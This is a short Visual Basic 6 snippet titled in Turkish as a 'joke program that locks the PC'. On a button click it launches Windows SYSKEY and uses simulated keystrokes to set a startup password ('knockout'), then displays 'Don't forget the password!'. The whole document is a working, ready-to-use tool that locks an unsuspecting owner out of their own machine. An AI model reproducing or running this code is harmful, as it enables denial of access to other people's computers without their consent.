Pc şifreleyen Şaka programı

Private Sub Command1_Click()
Shell "SYSKEY.EXE", vbNormalFocus
SendKeys "G", 1
SendKeys "B", 1
SendKeys "{TAB}", 1
SendKeys "knockout", 1
SendKeys "{TAB}", 1
SendKeys "knockout", 1
SendKeys "{ENTER}", 1
SendKeys "{ENTER}", 1
SendKeys "{ENTER}", 1
MsgBox "Şifreyi unutma!"
Unload Me

End Sub